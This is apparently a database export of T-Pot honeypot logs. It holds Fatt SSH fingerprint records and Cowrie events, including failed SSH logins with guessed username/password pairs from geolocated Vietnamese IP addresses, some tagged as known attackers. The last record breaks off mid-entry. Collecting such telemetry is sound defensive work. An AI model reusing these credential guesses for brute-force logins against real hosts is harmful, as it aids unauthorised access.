21294	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:43.192413+03	2021-09-20 14:15:03.477612+03	{"_id": "BwbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51860, "timestamp": "2021-09-20T11:06:43.192413", "@timestamp": "2021-09-20T11:06:43.192Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21295	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:43.279046+03	2021-09-20 14:15:03.479613+03	{"_id": "CAbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49672, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.279046", "@timestamp": "2021-09-20T11:06:43.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21296	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.756529+03	2021-09-20 14:15:03.480612+03	{"_id": "9wbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a73b813d6920", "@version": "1", "duration": 2.404022455215454, "timestamp": "2021-09-20T11:06:43.756529Z", "@timestamp": "2021-09-20T11:06:43.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21297	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.824529+03	2021-09-20 14:15:03.482613+03	{"_id": "-AbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [bitrix/bitrix] failed", "session": "c32c6a88cee8", "@version": "1", "password": "bitrix", "username": "bitrix", "timestamp": "2021-09-20T11:06:43.824529Z", "@timestamp": "2021-09-20T11:06:43.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21298	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:43.841225+03	2021-09-20 14:15:03.483613+03	{"_id": "-QbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [julian/julian] failed", "session": "aa2dee7db96d", "@version": "1", "password": "julian", "username": "julian", "timestamp": "2021-09-20T11:06:43.841225Z", "@timestamp": "2021-09-20T11:06:43.841Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21814	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:30.046106+03	2021-09-20 14:15:04.138614+03	{"_id": "GgXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1ea6db3a4b69", "@version": "1", "duration": 2.6675033569335938, "timestamp": "2021-09-20T11:06:30.046106Z", "@timestamp": "2021-09-20T11:06:30.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21299	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:43.869629+03	2021-09-20 14:15:03.484613+03	{"_id": "-gbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "536231a66d87", "@version": "1", "timestamp": "2021-09-20T11:06:43.869629Z", "@timestamp": "2021-09-20T11:06:43.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21300	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:43.572914+03	2021-09-20 14:15:03.486612+03	{"_id": "CwbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.572914", "@timestamp": "2021-09-20T11:06:43.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21301	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:43.589169+03	2021-09-20 14:15:03.487612+03	{"_id": "DAbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39458, "timestamp": "2021-09-20T11:06:43.589169", "@timestamp": "2021-09-20T11:06:43.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21302	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:43.659369+03	2021-09-20 14:15:03.489613+03	{"_id": "DQbjAnwBvYTbRNuEAwII", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 